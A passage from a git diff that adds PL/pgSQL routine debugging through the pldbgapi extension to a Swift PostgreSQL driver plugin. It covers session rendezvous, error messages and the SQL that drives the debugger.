OpaquePointer) { let message = PQresultErrorMessage(result).map { String(cString: $0).trimmingCharacters(in: .whitespacesAndNewlines) @@ -42,11 +55,15 @@ final class LibPQServerMessageSink: @unchecked Sendable { PQresultErrorField(result, field).map { String(cString: $0) } } let severity = PQresultErrorField(result, Self.severityField).map { String(cString: $0) } - let forward = lock.withLock { () -> PQnoticeReceiver? in + let (forward, observer) = lock.withLock { () -> (PQnoticeReceiver?, (@Sendable (LibPQServerNotice) -> Void)?) in if LibPQServerMessage.endsSession(severity: severity, sqlState: received.sqlState) { sessionEnding = received } - return forwardedReceiver + return (forwardedReceiver, noticeObserver) + } + if let observer { + let primary = PQresultErrorField(result, Self.primaryMessageField).map { String(cString: $0) } + observer(LibPQServerNotice(message: primary ?? message, text: message)) } forward?(nil, result) } diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PGlitePluginDriver.swift b/apple/Plugins/PostgreSQLDriverPlugin/PGlitePluginDriver.swift index 86d8ce8ccc..9c29dd68d6 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PGlitePluginDriver.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PGlitePluginDriver.swift @@ -26,6 +26,9 @@ final class PGlitePluginDriver: PostgreSQLPluginDriver { super.capabilities.subtracting(.cancelQuery) } + // pldebugger is a server C extension and needs a second session; PGlite has neither. + override var canDebugRoutines: Bool { false } + override func connect() async throws { do { try await super.connect() diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDebugRendezvous.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDebugRendezvous.swift new file mode 100644 index 0000000000..8e9ffacc45 --- /dev/null +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLDebugRendezvous.swift @@ -0,0 +1,134 @@ +// +// PostgreSQLDebugRendezvous.swift +// PostgreSQLDriverPlugin +// + +import Foundation +import os + +// Where the target's notice receiver hands over the port it waits on, and where a stop learns the target's +// call is over. `abandon()` releases the waiters when the target could not be ended in time. +final class PostgreSQLDebugRendezvous: @unchecked Sendable { + private let lock = NSLock() + private var deliveredPort: Int? + private var isSettled = false + private var abandoned = false + private var portWaiters: [CheckedContinuation] = [] + private var settleWaiters: [Int: CheckedContinuation] = [:] + private var withdrawnWaiters: Set = [] + private var lastWaiter = 0 + + var hasPort: Bool { + lock.withLock { deliveredPort != nil } + } + + var hasSettled: Bool { + lock.withLock { isSettled } + } + + // True when the waiters were released without the target's call ending: it may still hold its locks. + var isAbandoned: Bool { + lock.withLock { abandoned } + } + + var waiterCount: Int { + lock.withLock { portWaiters.count + settleWaiters.count } + } + + func abandon() { + release(abandoning: true) + } + + func deliver(port: Int) { + let waiters = lock.withLock { () -> [CheckedContinuation] in + deliveredPort = port + defer { portWaiters.removeAll() } + return portWaiters + } + waiters.forEach { $0.resume(returning: port) } + } + + func settle() { + release(abandoning: false) + } + + private func release(abandoning: Bool) { + let released = lock.withLock { + () -> (Int?, [CheckedContinuation], [CheckedContinuation])? in + guard !isSettled else { return nil } + isSettled = true + abandoned = abandoning + defer { + portWaiters.removeAll() + settleWaiters.removeAll() + withdrawnWaiters.removeAll() + } + return (deliveredPort, portWaiters, Array(settleWaiters.values)) + } + guard let released else { return } + released.1.forEach { $0.resume(returning: released.0) } + released.2.forEach { $0.resume() } + } + + // The port once the target reaches the routine, or nil when its call ended first. + func port() async -> Int? { + await withCheckedContinuation { continuation in + let ready: Int?? = lock.withLock { + if let deliveredPort { return .some(deliveredPort) } + if isSettled { return .some(nil) } + portWaiters.append(continuation) + return .none + } + if let ready { continuation.resume(returning: ready) } + } + } + + // Returns when this settles, or at once when the waiting task is cancelled, which withdraws the waiter. + func settled() async { + let waiter = lock.withLock { () -> Int in + lastWaiter += 1 + return lastWaiter + } + await withTaskCancellationHandler { + await withCheckedContinuation { (continuation: CheckedContinuation) in + let ready = lock.withLock { () -> Bool in + if isSettled || withdrawnWaiters.remove(waiter) != nil { return true } + settleWaiters[waiter] = continuation + return false + } + if ready { continuation.resume() } + } + } onCancel: { + let withdrawn = lock.withLock { () -> CheckedContinuation? in + if let continuation = settleWaiters.removeValue(forKey: waiter) { return continuation } + if !isSettled { withdrawnWaiters.insert(waiter) } + return nil + } + withdrawn?.resume() + } + } + + // The step's result, or nil when this settles first. The losing wait on this is withdrawn before the answer is + // given, so nothing waits on it past the call; only a step still running on its connection outlives a nil answer. + func reply(to step: Task) async -> Result? { + let claimed = OSAllocatedUnfairLock(initialState: false) + let claim = { @Sendable () -> Bool in + claimed.withLock { done -> Bool in + defer { done = true } + return !done + } + } + return await withCheckedContinuation { (continuation: CheckedContinuation?, Never>) in + let signal = Task { + await self.settled() + if claim() { continuation.resume(returning: nil) } + } + Task { + let result = await step.result + guard claim() else { return } + signal.cancel() + continuation.resume(returning: result) + } + } + } +} diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+RoutineDebugging.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+RoutineDebugging.swift new file mode 100644 index 0000000000..f304638350 --- /dev/null +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver+RoutineDebugging.swift @@ -0,0 +1,122 @@ +// +// PostgreSQLPluginDriver+RoutineDebugging.swift +// PostgreSQLDriverPlugin +// + +import Foundation +import TableProPluginKit +import TableProPostgreSQLCore + +// pldbgapi direct debugging. Redshift and CockroachDB are siblings of this class, not subclasses, so they never +// conform; PGlite inherits the conformance and turns it off through `canDebugRoutines`. +extension PostgreSQLPluginDriver: PluginRoutineDebugging { + func debugTarget(for routine: PluginRoutineInfo) -> PluginDebugTarget? { + guard canDebugRoutines else { return nil } + return PostgreSQLRoutineDebugProtocol.target(for: routine) + } + + func debugTargets(schema: String?) async throws -> [PluginDebugTarget] { + guard canDebugRoutines else { return [] } + let query = PostgreSQLRoutineDebugProtocol.targetListQuery( + schema: schema ?? currentSchema ?? "public", + hasProcedureKind: catalogCapabilities.hasProcedureKind + ) + let result = try await execute(query: query) + return result.rows.compactMap { PostgreSQLRoutineDebugProtocol.target(fromListRow: $0.map(\.asText)) } + } + + func prepareDebug(_ target: PluginDebugTarget) async throws -> PluginDebugPlan { + guard canDebugRoutines else { throw PostgreSQLRoutineDebugError.unavailable } + let routine = try await debugRoutine(identity: target.identity, name: target.name) + _ = try routine.debuggerSchema() + return PluginDebugPlan( + target: target, + entryPoints: [routine.entryPoint], + // Any routine can write: a STABLE label does not stop a default such as nextval() or a volatile callee. + mayWrite: true, + note: routine.runNote + ) + } + + func startDebug( + _ request: PluginDebugRequest, + sessions: any PluginDebugSessionSource + ) async throws -> any PluginDebugSession { + guard canDebugRoutines else { throw PostgreSQLRoutineDebugError.unavailable } + let target = try await Self.debugSession(from: sessions) + let proxy = try await Self.debugSession(from: sessions) + try await proxy.prepareForDebugging(isTarget: false) + + let routine = try await proxy.debugRoutine( + identity: request.entryPoint.identity, + name: request.entryPoint.displayName + ) + let extensionSchema = try routine.debuggerSchema() + try await target.prepareForDebugging(isTarget: true) + let targetProcess = try? await target.execute(query: "SELECT pg_catalog.pg_backend_pid()") + .rows.first?.first?.asText.flatMap { Int($0) } + let call = try PostgreSQLRoutineDebugProtocol.call(for: routine, arguments: request.arguments) + guard let oid = UInt32(routine.identity) else { + throw PostgreSQLRoutineDebugError.routineNotFound(routine.displayName) + } + do { + _ = try await target.execute( + query: PostgreSQLRoutineDebugProtocol.oidDebugStatement(extensionSchema: extensionSchema, oid: oid) + ) + } catch { + throw PostgreSQLRoutineDebugProtocol.startFailure( + error, + database: routine.database, + routineName: routine.displayName + ) + } + + // Nothing runs on the target yet, so a cancelled start leaves nothing behind. + try Task.checkCancellation() + let session = PostgreSQLRoutineDebugSession( + target: target, + proxy: proxy, + sessions: sessions, + routine: routine, + extensionSchema: extensionSchema, + targetProcess: targetProcess, + breakpoints: request.breakpoints + ) + try await session.start(call) + return session + } + + static func debugSession(from sessions: any PluginDebugSessionSource) async throws -> PostgreSQLPluginDriver { + guard let driver = try await sessions.openSession() as? PostgreSQLPluginDriver, driver.canDebugRoutines else { + throw PostgreSQLRoutineDebugError.unavailable + } + driver.core.interruptBlockedCallOnDisconnect() + return driver + } + + private func prepareForDebugging(isTarget: Bool) async throws { + // Before the settings, which a rollback would undo. + if PostgreSQLRoutineDebugProtocol.endsStartupTransaction(await sessionTransactionState()) { + _ = try await execute(query: "ROLLBACK") + } + let statements = PostgreSQLRoutineDebugProtocol.sessionSettings( + serverVersion: serverVersionNumber, + isTarget: isTarget + ) + for statement in statements { + _ = try await execute(query: statement) + } + } + + private func debugRoutine(identity: String, name: String) async throws -> PostgreSQLDebugRoutine { + guard let oid = PostgreSQLRoutineDebugProtocol.oid(inIdentity: identity) else { + throw PostgreSQLRoutineDebugError.routineNotFound(name) + } + let query = PostgreSQLRoutineDebugProtocol.routineQuery(oid: oid, capabilities: catalogCapabilities) + let result = try await execute(query: query) + guard let row = result.rows.first else { throw PostgreSQLRoutineDebugError.routineNotFound(name) } + let routine = PostgreSQLDebugRoutine(row: row.map(\.asText), identity: String(oid)) + guard routine.exists else { throw PostgreSQLRoutineDebugError.routineNotFound(name) } + return routine + } +} diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift index e7b0c72983..9c04366997 100644 --- a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLPluginDriver.swift @@ -54,6 +54,9 @@ class PostgreSQLPluginDriver: LibPQBackedDriver, @unchecked Sendable { ] } + // In the class body so PGlite, which inherits the debugger conformance, can turn it off. + var canDebugRoutines: Bool { true } + init(config: DriverConnectionConfig, singleConnectionMode: Bool = false) { self.core = LibPQDriverCore(config: config, singleConnectionMode: singleConnectionMode) } diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugError.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugError.swift new file mode 100644 index 0000000000..80acaaaad6 --- /dev/null +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugError.swift @@ -0,0 +1,98 @@ +// +// PostgreSQLRoutineDebugError.swift +// PostgreSQLDriverPlugin +// + +import Foundation +import TableProPluginKit + +enum PostgreSQLRoutineDebugError: PluginDriverError, Equatable { + case extensionMissing(database: String) + case serverPackageMissing + case notOwner(routine: String) + case sharedMemoryUnavailable + case routineNotFound(String) + case notDebuggable + case pseudoTypeParameter + case hidesDebuggerNotice(value: String) + case limitsTransactionTime(value: String) + case targetAbandoned(process: Int?, port: Int?) + case unavailable + case notPaused + case unsupportedCommand + case noDefault(parameter: String) + case defaultNotReadable(parameter: String) + + var pluginErrorMessage: String { + switch self { + case .extensionMissing(let database): + return String(format: String(localized: "The PL/pgSQL debugger isn't installed in “%@”."), database) + case .serverPackageMissing: + return String(localized: "This server has no PL/pgSQL debugger.") + case .notOwner(let routine): + return String(format: String(localized: "Only the owner of %@ or a superuser can debug it."), routine) + case .sharedMemoryUnavailable: + return String(localized: "The server couldn't start the debugger.") + case .routineNotFound(let routine): + return String(format: String(localized: "%@ no longer exists"), routine) + case .notDebuggable: + return String(localized: "Only PL/pgSQL functions and procedures can be debugged.") + case .pseudoTypeParameter: + return String(localized: "Routines with polymorphic or record parameters can't be debugged.") + case .hidesDebuggerNotice(let value): + return String( + format: String( + localized: "This routine sets client_min_messages to %@, which hides the notice the debugger starts with." + ), + value + ) + case .limitsTransactionTime(let value): + return String( + format: String( + localized: "This routine sets transaction_timeout to %@, which would end it while it waits at a breakpoint." + ), + value + ) + case .targetAbandoned: + return PostgreSQLRoutineDebugProtocol.abandonedMessage + case .unavailable: + return String(localized: "This connection can't run the PL/pgSQL debugger.") + case .notPaused: + return String(localized: "The routine isn't paused.") + case .unsupportedCommand: + return String(localized: "The PL/pgSQL debugger can't step out of a routine.") + case .noDefault(let parameter): + return String(format: String(localized: "%@ has no default value."), parameter) + case .defaultNotReadable(let parameter): + return String( + format: String(localized: "This server can't show the default value of %@, so enter a value for it."), + parameter + ) + } + } + + var pluginErrorDetail: String? { + switch self { + case .extensionMissing: + return String(localized: "Ask a superuser to run CREATE EXTENSION pldbgapi in this database.") + case .serverPackageMissing: + return String( + localized: """ + Install the pldebugger package for this PostgreSQL version on the server, then run \ + CREATE EXTENSION pldbgapi in this database. + """ + ) + case .sharedMemoryUnavailable: + return String(localized: "Add plugin_debugger to shared_preload_libraries and restart the server.") + case .hidesDebuggerNotice: + return String(localized: "Remove SET client_min_messages from the routine to debug it.") + case .limitsTransactionTime: + return String(localized: "Remove SET transaction_timeout from the routine to debug it.") + case .targetAbandoned(let process, let port): + return PostgreSQLRoutineDebugProtocol.abandonedDetail(process: process, port: port) + case .notOwner, .routineNotFound, .notDebuggable, .pseudoTypeParameter, .unavailable, .notPaused, + .unsupportedCommand, .noDefault, .defaultNotReadable: + return nil + } + } +} diff --git a/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugProtocol.swift b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugProtocol.swift new file mode 100644 index 0000000000..8cbc8e5b34 --- /dev/null +++ b/apple/Plugins/PostgreSQLDriverPlugin/PostgreSQLRoutineDebugProtocol.swift @@ -0,0 +1,752 @@ +// +// PostgreSQLRoutineDebugProtocol.swift +// PostgreSQLDriverPlugin +// + +import Foundation +import TableProPluginKit +import TableProPostgreSQLCore + +struct PostgreSQLDebugCall: Equatable, Sendable { + let sql: String + let parameters: [PluginCellValue] +} + +enum PostgreSQLDebugProxyFailure: Equatable { + case targetEnded + // A signal reached the proxy while it waited: the target is still attached to it and its reply is unread. + case interrupted + case broken +} + +// How to end a target whose start was cancelled. +enum PostgreSQLDebugStartCancellation: Equatable { + // The call has not reached the routine: a cancel on the target ends it. + case cancelCall + // The target waits in accept() and ignores a cancel: only an attach and pldbg_abort_target end it. + case attachAndAbort + case nothing +} + +// What start does once the call reached the routine or ended. +enum PostgreSQLDebugStartStep: Equatable { + case attach(port: Int) + case attachAndAbort(port: Int) + case cancelled + case endedBeforeEntry +} + +struct PostgreSQLDebugRoutine: Equatable, Sendable { + let identity: String + let database: String + let extensionSchema: String? + let extensionAvailable: Bool + let exists: Bool + let mayDebug: Bool + let kind: String? + let volatility: String? + let language: String? + let schema: String + let name: String + let identityArguments: String + let returnsRecordType: Bool + let returnsTrigger: Bool + let parameters: [PluginDebugParameter] + let takesPseudoType: Bool + let configuration: [String] + // Each argument's type as its quoted, schema-qualified pg_type name ("pg_catalog"."bit"), parallel to + // `parameters`. It names exactly the declared type and no length: format_type's character and bit mean + // character(1) and bit(1) and cut the value, and bpchar or varbit pick an f(bit varying) overload over the + // f(bit) being debugged (both measured). + let argumentCastTypes: [String] + // Each argument's default expression from pg_get_function_arg_default, nil where it has none. + let defaultExpressions: [String?] + + // The columns of `PostgreSQLRoutineDebugProtocol.routineQuery`, in order. + init(row: [String?], identity: String) { + func text(_ index: Int) -> String? { row.indices.contains(index) ? row[index] : nil } + func flag(_ index: Int) -> Bool { PostgreSQLCatalogBoolean.isTrue(text(index)) } + self.identity = identity + database = text(0) ?? "" + extensionSchema = text(1) + extensionAvailable = flag(2) + exists = flag(3) + mayDebug = flag(4) + kind = text(5) + volatility = text(6) + language = text(7) + schema = text(8) ?? "" + name = text(9) ?? "" + identityArguments = text(10) ?? "" + returnsRecordType = flag(11) + returnsTrigger = flag(12) + parameters = PostgreSQLRoutineDebugProtocol.parameters( + types: PostgreSQLTextArray.values(text(13)), + names: PostgreSQLTextArray.elements(text(14)), + modes: PostgreSQLTextArray.values(text(15)), + defaultCount: text(16).flatMap { Int($0) } ?? 0 + ) + takesPseudoType = flag(17) + configuration = PostgreSQLTextArray.values(text(18)) + argumentCastTypes = PostgreSQLTextArray.values(text(19)) + defaultExpressions = PostgreSQLTextArray.elements(text(20)) + } + + var isProcedure: Bool { kind == "p" } + + var displayName: String { "\(name)(\(identityArguments))" } + + var returnsBareRecord: Bool { + returnsRecordType && !parameters.contains { $0.mode == .output || $0.mode == .inputOutput } + } + + var entryPoint: PluginDebugEntryPoint { + PluginDebugEntryPoint(identity: identity, displayName: displayName, parameters: parameters) + } + + var runNote: String { + isProcedure + ? String( + localized: """ + Changes the procedure makes are committed when it commits or finishes. Stop rolls back what it \ + hasn't committed. + """ + ) + : String(localized: "Changes the routine makes are committed when it finishes. Stop rolls them back.") + } + + // Never gates on shared_preload_libraries: a non-superuser cannot read it, and direct debugging works without it. + func debuggerSchema() throws -> String { + guard language == "plpgsql", kind == "f" || kind == "p", !returnsTrigger else { + throw PostgreSQLRoutineDebugError.notDebuggable + } + guard !takesPseudoType else { throw PostgreSQLRoutineDebugError.pseudoTypeParameter } + if let blocking = PostgreSQLRoutineDebugProtocol.blockingSetting(in: configuration) { throw blocking } + guard let extensionSchema, !extensionSchema.isEmpty else { + throw extensionAvailable + ? PostgreSQLRoutineDebugError.extensionMissing(database: database) + : PostgreSQLRoutineDebugError.serverPackageMissing + } + guard mayDebug else { throw PostgreSQLRoutineDebugError.notOwner(routine: displayName) } + return extensionSchema + } +} + +enum PostgreSQLRoutineDebugProtocol { + static let supportedCommands: Set = [.continueExecution, .stepOver, .stepInto] + + private static let breakNoticePrefix = "PLDBGBREAK:" + private static let targetEndedState = "08006" + private static let queryCanceledState = "57014" + private static let triggerReturnTypes: Set = ["trigger", "event_trigger"] + // A bound text argument stays unknown for a polymorphic parameter, and text cannot become a bare record, so a + // routine taking one of these cannot be called by the debugger. + private static let pseudoArgumentTypes: Set = [ + "\"any\"", "anyelement", "anyarray", "anynonarray", "anyenum", "anyrange", "anymultirange", + "anycompatible", "anycompatiblearray", "anycompatiblenonarray", "anycompatiblerange", + "anycompatiblemultirange", "record", "record[]" + ] + + static var stoppedMessage: String { + String(localized: "The routine was stopped, and its uncommitted changes were rolled back.") + } + + // A cancel reaching the proxy does this, and so does a server transaction_timeout on PostgreSQL 17 once a wait + // outlasts it, even with the session's own set to 0 (measured on 17.11). + static var interruptedMessage: String { + String( + localized: """ + The debugger's session was interrupted while it waited, so the routine was stopped and its uncommitted \ + changes were rolled back. A cancel or the server's transaction_timeout can cause this. + """ + ) + } + + static func abandonedStop(process: Int?, port: Int?) -> PluginDebugStop { + .failed(message: abandonedMessage, detail: abandonedDetail(process: process, port: port)) + } + + // Ended only when the target's call is known to have returned: then its transaction is over and its locks gone. + static func stopOutcome(callEnded: Bool, abandoned: Bool, process: Int?, port: Int?) -> PluginDebugStopOutcome { + guard callEnded, !abandoned else { + return .unconfirmed(message: abandonedMessage, detail: abandonedDetail(process: process, port: port)) + } + return .ended + } + + static var abandonedMessage: String { + String(localized: "The routine couldn't be stopped on the server.") + } + + // Names the backend so someone with access can end it: a target waiting for a debugger ignores cancel and + // terminate, and only an attach followed by pldbg_abort_target ends it. + static func abandonedDetail(process: Int?, port: Int?) -> String { + switch (process, port) { + case let (process?, port?): + return String( + format: String( + localized: """ + Server process %d may still be waiting for a debugger and holding its locks. To end it, run \ + SELECT pldbg_attach_to_port(%d) and pass the number it returns to pldbg_abort_target. + """ + ), + process, + port + ) + case let (process?, nil): + return String(format: String(localized: "Server process %d may still be running and holding its locks."), process) + case (nil, _): + return String(localized: "Its server session may still be running and holding its locks.") + } + } + + // MARK: - Session setup + + static func sessionSettings(serverVersion: Int32, isTarget: Bool) -> [String] { + // Each would end a target paused at a breakpoint, or the proxy while it waits for one. A paused target is + // active and the proxy idle outside a transaction, so idle_in_transaction_session_timeout never applies. + var statements = ["SET statement_timeout = 0"] + if serverVersion >= 140_000 { + statements.append("SET idle_session_timeout = 0") + } + if serverVersion >= 170_000 { + statements.append("SET transaction_timeout = 0") + } + // The target announces the port it waits on as a NOTICE, which a stricter level never sends. + if isTarget { + statements.append("SET client_min_messages = notice") + } + return statements + } + + // Startup commands can leave a transaction open; the routine's changes must neither join it nor be committed + // by it, so it is rolled back before the call. + static func endsStartupTransaction(_ state: PluginSessionTransactionState) -> Bool { + state != .idle + } + + // Every identity, the entry point's and each unit's, is the routine's oid. + static func oid(inIdentity identity: String) -> UInt32? { + UInt32(identity) + } + + // MARK: - Catalog + + static func routineQuery(oid: UInt32, capabilities: PostgreSQLCapabilities) -> String { + let kindColumn = capabilities.hasProcedureKind + ? "p.prokind" + : "CASE WHEN p.proisagg THEN 'a' WHEN p.proiswindow THEN 'w' ELSE 'f' END" + let argumentTypes = "COALESCE(p.proallargtypes, p.proargtypes::pg_catalog.oid[])" + // pg_get_function_arg_default (9.4) counts arguments from 1; proargtypes as an array starts at 0. + let defaultsColumn = capabilities.serverVersion >= 90_400 + ? """ + ARRAY( + SELECT pg_catalog.pg_get_function_arg_default( + p.oid, + (s.i - pg_catalog.array_lower(\(argumentTypes), 1) + 1)::pg_catalog.int4 + ) + FROM pg_catalog.generate_subscripts(\(argumentTypes), 1) AS s(i) + ORDER BY s.i + ) + """ + : "NULL::pg_catalog.text[]" + return """ + SELECT + pg_catalog.current_database(), + (SELECT en.nspname FROM pg_catalog.pg_extension e + JOIN pg_catalog.pg_namespace en ON en.oid = e.extnamespace + WHERE e.extname = 'pldbgapi'), + EXISTS (SELECT 1 FROM pg_catalog.pg_available_extensions a WHERE a.name = 'pldbgapi'), + p.oid IS NOT NULL, + COALESCE(p.proowner = r.oid OR r.rolsuper, false), + \(kindColumn), + p.provolatile, + l.lanname, + n.nspname, + p.proname, + pg_catalog.pg_get_function_identity_arguments(p.oid), + p.prorettype = 'pg_catalog.record'::pg_catalog.regtype, + \(returnsTriggerTest), + ARRAY( + SELECT pg_catalog.format_type((\(argumentTypes))[s.i], NULL) + FROM pg_catalog.generate_subscripts(\(argumentTypes), 1) AS s(i) + ORDER BY s.i + ), + p.proargnames, + p.proargmodes::pg_catalog.text[], + p.pronargdefaults, + \(pseudoTypeArgumentTest), + p.proconfig, + ARRAY( + SELECT '"' || pg_catalog.replace(tn.nspname, '"', '""') || '"."' + || pg_catalog.replace(ty.typname, '"', '""') || '"' + FROM pg_catalog.generate_subscripts(\(argumentTypes), 1) AS s(i) + JOIN pg_catalog.pg_type ty ON ty.oid = (\(argumentTypes))[s.i] + JOIN pg_catalog.pg_namespace tn ON tn.oid = ty.typnamespace + ORDER BY s.i + ), + \(defaultsColumn) + FROM (SELECT 1) AS one + LEFT JOIN pg_catalog.pg_proc p ON p.oid = \(oidLiteral(oid)) + LEFT JOIN pg_catalog.pg_namespace n ON n.oid = p.pronamespace + LEFT JOIN pg_catalog.pg_language l ON l.oid = p.prolang + LEFT JOIN pg_catalog.pg_roles r ON r.rolname = CURRENT_USER + """ + } + + static func targetListQuery(schema: String, hasProcedureKind: Bool) -> String { + let kindColumn = hasProcedureKind ? "p.prokind" : "'f'" + let kindFilter = hasProcedureKind ? "p.prokind IN ('f', 'p')" : "NOT p.proisagg AND NOT p.proiswindow" + return """ + SELECT + p.oid::pg_catalog.text, + p.proname, + n.nspname, + '(' || pg_catalog.pg_get_function_identity_arguments(p.oid) || ')', + \(kindColumn) + FROM pg_catalog.pg_proc p + JOIN pg_catalog.pg_namespace n ON n.oid = p.pronamespace + JOIN pg_catalog.pg_language l ON l.oid = p.prolang + WHERE n.nspname = \(PostgreSQLObjectQueries.quoteLiteral(schema)) + AND l.lanname = 'plpgsql' + AND \(kindFilter) + AND NOT \(returnsTriggerTest) + AND NOT \(pseudoTypeArgumentTest) + AND NOT EXISTS ( + SELECT 1 FROM pg_catalog.pg_depend d + WHERE d.classid = 'pg_catalog.pg_proc'::pg_catalog.regclass AND d.objid = p.oid AND d.deptype = 'e' + ) + ORDER BY p.proname, 4 + """ + } + + // proargtypes holds the arguments a call passes; a pseudo-type there (anyelement, record) cannot be bound. + // Named, never cast: event_trigger arrived in 9.3, and a cast to a type the server lacks fails the whole query. + private static let returnsTriggerTest = """ + EXISTS ( + SELECT 1 FROM pg_catalog.pg_type rt + JOIN pg_catalog.pg_namespace rn ON rn.oid = rt.typnamespace + WHERE rt.oid = p.prorettype AND rn.nspname = 'pg_catalog' AND rt.typname IN ('trigger', 'event_trigger') + ) + """ + + private static let pseudoTypeArgumentTest = """ + EXISTS ( + SELECT 1 FROM pg_catalog.unnest(p.proargtypes::pg_catalog.oid[]) AS a(t) + JOIN pg_catalog.pg_type ty ON ty.oid = a.t + WHERE ty.typtype = 'p' + ) + """ + + // The owner may signal and see its own backends, so no superuser or pg_signal_backend is needed. + static func cancelBackendStatement(process: Int) -> String { + "SELECT pg_catalog.pg_cancel_backend(\(process))" + } + + static func backendCountStatement(process: Int) -> String { + "SELECT pg_catalog.count(*) FROM pg_catalog.pg_stat_activity WHERE pid = \(process)" + } + + static func routineSourceStatement(oid: UInt32) -> String { + "SELECT p.prosrc FROM pg_catalog.pg_proc p WHERE p.oid = \(oidLiteral(oid))" + } + + // MARK: - pldbgapi calls + + static func oidDebugStatement(extensionSchema: String, oid: UInt32) -> String { + "SELECT \(function("pldbg_oid_debug", in: extensionSchema))(\(oidLiteral(oid)))" + } + + // The argument is the target's backend number from its PLDBGBREAK notice, not a TCP port. + static func attachStatement(extensionSchema: String, port: Int) -> String { + "SELECT \(function("pldbg_attach_to_port", in: extensionSchema))(\(port))" + } + + static func waitStatement(extensionSchema: String, session: Int) -> String { + breakpointRead("pldbg_wait_for_breakpoint", extensionSchema, "\(session)") + } + + static func stepStatement(_ command: PluginDebugCommand, extensionSchema: String, session: Int) -> String? { + let name: String + switch command { + case .continueExecution: + name = "pldbg_continue" + case .stepOver: + name = "pldbg_step_over" + case .stepInto: + name = "pldbg_step_into" + case .stepOut: + return nil + @unknown default: + return nil + } + return breakpointRead(name, extensionSchema, "\(session)") + } + + static func selectFrameStatement(extensionSchema: String, session: Int, level: Int) -> String { + breakpointRead("pldbg_select_frame", extensionSchema, "\(session), \(level)") + } + + static func sourceStatement(extensionSchema: String, session: Int, oid: UInt32) -> String { + "SELECT \(function("pldbg_get_source", in: extensionSchema))(\(session), \(oidLiteral(oid)))" + } + + static func stackStatement(extensionSchema: String, session: Int) -> String { + "SELECT level, targetname, func, linenumber, args FROM \(function("pldbg_get_stack", in: extensionSchema))(\(session))" + } + + static func variablesStatement(extensionSchema: String, session: Int) -> String { + """ + SELECT name, varclass, linenumber, isunique, isconst, isnotnull, pg_catalog.format_type(dtype, NULL), value \ + FROM \(function("pldbg_get_variables", in: extensionSchema))(\(session)) + """ + } + + static func setBreakpointStatement(extensionSchema: String, session: Int, oid: UInt32, line: Int) -> String { + "SELECT \(function("pldbg_set_breakpoint", in: extensionSchema))(\(session), \(oidLiteral(oid)), \(line))" + } + + static func dropBreakpointStatement(extensionSchema: String, session: Int, oid: UInt32, line: Int) -> String { + "SELECT \(function("pldbg_drop_breakpoint", in: extensionSchema))(\(session), \(oidLiteral(oid)), \(line))" + } + + static func abortStatement(extensionSchema: String, session: Int) -> String { + "SELECT * FROM \(function("pldbg_abort_target", in: extensionSchema))(\(session))" + } + + private static func breakpointRead(_ name: String, _ extensionSchema: String, _ arguments: String) -> String { + "SELECT func, linenumber, targetname FROM \(function(name, in: extensionSchema))(\(arguments))" + } + + // pldbgapi is relocatable, so every call names the schema it was created in. + private static func function(_ name: String, in extensionSchema: String) -> String { + "\(PostgreSQLObjectQueries.quoteIdentifier(extensionSchema)).\(name)" + } + + static func oidLiteral(_ oid: UInt32) -> String { + "\(PostgreSQLObjectQueries.quoteLiteral(String(oid)))::pg_catalog.oid" + } + + // MARK: - Replies + + static func debuggerPort(inNotice message: String) -> Int? { + let trimmed = message.trimmingCharacters(in: .whitespacesAndNewlines) + guard trimmed.hasPrefix(breakNoticePrefix) else { return nil } + return Int(trimmed.dropFirst(breakNoticePrefix.count)) + } + + // The stop pldebugger reports is one past the statement's line (plpgsql_debugger.c sends lineno + 1); + // stack frames and breakpoints use the line itself. + static func location(fromBreakpointRow row: [String?]) -> PluginDebugLocation? { + guard let unit = cell(row, 0), !unit.isEmpty, + let reported = cell(row, 1).flatMap({ Int($0) }) + else { return nil } + return PluginDebugLocation( + unit: PluginDebugUnit(identity: unit, displayName: cell(row, 2) ?? unit), + line: max(reported - 1, 1) + ) + } + + static func frame(fromStackRow row: [String?]) -> PluginDebugFrame? { + guard let level = cell(row, 0).flatMap({ Int($0) }) else { return nil } + var location: PluginDebugLocation? + if let unit = cell(row, 2), let line = cell(row, 3).flatMap({ Int($0) }) { + location = PluginDebugLocation( + unit: PluginDebugUnit(identity: unit, displayName: cell(row, 1) ?? unit), + line: line + ) + } + return PluginDebugFrame(level: level, location: location, arguments: cell(row, 4)) + } + + static func variable(fromRow row: [String?]) -> PluginDebugVariable? { + guard let name = cell(row, 0) else { return nil } + let value = cell(row, 7) + return PluginDebugVariable( + name: name, + kind: variableKind(cell(row, 1)), + typeName: cell(row, 6), + // pldebugger sends SQL NULL as the text NULL, so it cannot be told from the string 'NULL'. + value: value == "NULL" ? nil : value, + isConstant: PostgreSQLCatalogBoolean.isTrue(cell(row, 4)) + ) + } + + static func variableKind(_ code: String?) -> PluginDebugVariableKind { + switch code { + case "A": return .argument + case "P": return .package + default: return .local + } + } + + private static func cell(_ row: [String?], _ index: Int) -> String? { + row.indices.contains(index) ? row[index] : nil + } + + // MARK: - Targets + + static func target(for routine: PluginRoutineInfo) -> PluginDebugTarget? { + guard routine.language?.lowercased() == "plpgsql", + let identity = routine.identity, UInt32(identity) != nil, + !triggerReturnTypes.contains(routine.returnType?.lowercased() ?? ""), + !signatureTakesPseudoType(routine.argumentSignature) + else { return nil } + return PluginDebugTarget( + identity: identity, + name: routine.name + (routine.argumentSignature ?? ""), + schema: routine.schema, + kindDisplayName: 